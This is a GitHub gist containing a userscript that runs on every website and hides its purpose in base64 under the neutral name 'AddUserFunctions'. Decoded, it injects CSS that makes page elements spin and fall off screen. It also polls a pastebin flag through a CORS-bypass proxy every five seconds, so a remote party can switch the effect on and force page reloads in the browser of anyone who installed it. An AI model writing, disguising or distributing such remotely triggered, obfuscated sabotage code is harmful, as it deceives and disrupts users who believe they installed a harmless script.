Skip to content

Instantly share code, notes, and snippets.

@CEBracco
Last active January 15, 2020 17:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CEBracco/633778e928f58580cb0358ce8def2168 to your computer and use it in GitHub Desktop.
Save CEBracco/633778e928f58580cb0358ce8def2168 to your computer and use it in GitHub Desktop.
// ==UserScript==
// @name AddUserFunctions
// @namespace http://tampermonkey.net/
// @version 1.0
// @updateURL https://gist.github.com/CEBracco/633778e928f58580cb0358ce8def2168/raw/addUserFunctions.user.js
// @author anonymous
// @match http://*/*
// @match https://*/*
// @grant none
// ==/UserScript==
(function() {
'use strict';
var applied = false
var hash = `QC13ZWJraXQta2V5ZnJhbWVzIHVzZXJGdW5jdGlvbiB7CjAlIHsKb3BhY2l0eTogMTsKLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZSgwLCAwcHgpIHJvdGF0ZVooMGRlZyk7Cn0KNzUlIHsKb3BhY2l0eTogMTsKLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDBweCwgNjAwcHgpIHJvdGF0ZVooMjcwZGVnKTsKfQoxMDAlIHsKb3BhY2l0eTogMDsKLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZSgxNTBweCwgODAwcHgpIHJvdGF0ZVooMzYwZGVnKTsKfQp9CgoudXNlckZ1bmN0aW9uIHsKLXdlYmtpdC1hbmltYXRpb246IHVzZXJGdW5jdGlvbiAxMHMgaW5maW5pdGUgbGluZWFyOwotbW96LWFuaW1hdGlvbjogdXNlckZ1bmN0aW9uIDEwcyBpbmZpbml0ZSBsaW5lYXI7Cn0K`;
var headInner = document.createElement('style');
headInner.type = 'text/css';
headInner.innerHTML = atob(hash);
document.getElementsByTagName('head')[0].appendChild(headInner);
function doUserImportation(){
applied = true
var all = document.getElementsByTagName("div");
for (var i=0, max=(all.length / 2); i < max && i < 50; i=i+2) {
if(all[i]){
all[i].className = all[i].className + " userFunction";
}
}
}
function checkFlag(){
var t = "aHR0cHM6Ly9jb3JzLWJ5cGFzc2VyLmdsaXRjaC5tZS9ieXBhc3MvaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3Lzk5TWZhMFdY"
var xhr = new XMLHttpRequest();
xhr.open('GET', atob(t));
xhr.onload = function() {
if (xhr.status === 200 && xhr.responseText == "1" && !applied) {
doUserImportation()
} else {
if(applied) {
window.location.reload();
}
}
};
xhr.send();
}
var intervalID = setInterval(checkFlag, 5000);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment